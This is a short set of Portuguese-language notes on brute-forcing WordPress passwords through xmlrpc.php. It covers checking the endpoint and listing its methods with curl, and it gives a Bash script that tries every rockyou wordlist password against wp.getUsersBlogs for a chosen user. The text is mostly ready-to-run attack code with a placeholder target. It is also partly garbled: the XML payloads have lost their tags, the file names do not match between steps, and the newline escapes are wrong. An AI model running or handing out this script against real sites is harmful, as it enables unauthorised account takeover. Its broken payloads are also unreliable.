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# Força Bruta Manual (xmlrpc.php)
Notas de força bruta do xmlrpc.php do WordPress para validação do wp.getUsersBlogs, criação de payload XML, teste de requisições POST, automação em Bash e descoberta de senha.
## Descoberta manual de senha por força bruta
1. Primeiro, verifique se **xmlrpc.php** está acessível publicamente:
```arduino
https://website/xmlrpc.php
```
2. Crie um arquivo XML chamado **xmlrpc.xml** com o seguinte conteúdo:
```xml
system.listMethods
```
3. Envie uma **requisição POST** por `xmlrpc.xml`:
```bash
curl -s -X POST "https://website.com/xmlrpc.php" -d@test.xml
```
4. Se o **wp.getUsersBlogs** aparece, é possível fazer força bruta:
Este script Bash automatiza o processo. Altere a URL no script antes de executá-lo:
```bash
#!/bin/bash
# Ctrl + C
function ctrl_c() {
echo -e "/n/nSaindo.../n"
exit 1
}
trap ctrl_c SIGINT
read -p "Digite seu nome de usuário: " user
function createXML() {
password="$1"
xmlFile="
wp.getUsersBlogs"$user"$password"
echo "$xmlFile" > file.xml
response=$(curl -s -X POST "http://website.com/xmlrpc.php" -d@file.xml)
if ! echo "$response" | grep -q 'Nome de usuário ou senha incorretos.'; then
echo "[+] A senha do usuário $user é $password"
exit 0
fi
}
while read -r password; do
createXML "$password"
done < /usr/share/wordlists/rockyou.txt
```
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